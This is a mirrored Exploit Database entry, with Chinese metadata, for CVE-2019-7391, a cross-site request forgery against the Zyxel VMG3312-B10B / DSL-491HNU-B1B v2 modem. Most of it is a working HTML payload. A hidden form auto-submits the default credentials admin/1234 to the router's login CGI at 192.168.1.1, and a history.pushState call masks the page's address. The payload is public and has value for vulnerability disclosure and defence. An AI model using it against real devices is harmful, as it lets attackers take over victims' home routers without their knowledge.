Zyxel VMG3312-B10B DSL-491HNU-B1B v2 Modem – Cross-Site Request Forgery

Exploit Database
115 阅读

作者： Yusuf Furkan

日期： 2019-02-05
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/46326/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

# Exploit Title: Zyxel VMG3312-B10B DSL-491HNU-B1B v2 modem CSRF Exploit

# Version: Zyxel VMG3312-B10B

# Tested on : Parrot Os

# Author: Yusuf Furkan

# Twitter: h1_yusuf

# CVE: CVE-2019-7391

# model name: DSL-491HNU-B1B v2

<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="http://192.168.1.1/login/login-page.cgi" method="POST">

<input type="hidden" name="AuthName" value="admin" />

<input type="hidden" name="AuthPassword" value="1234" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>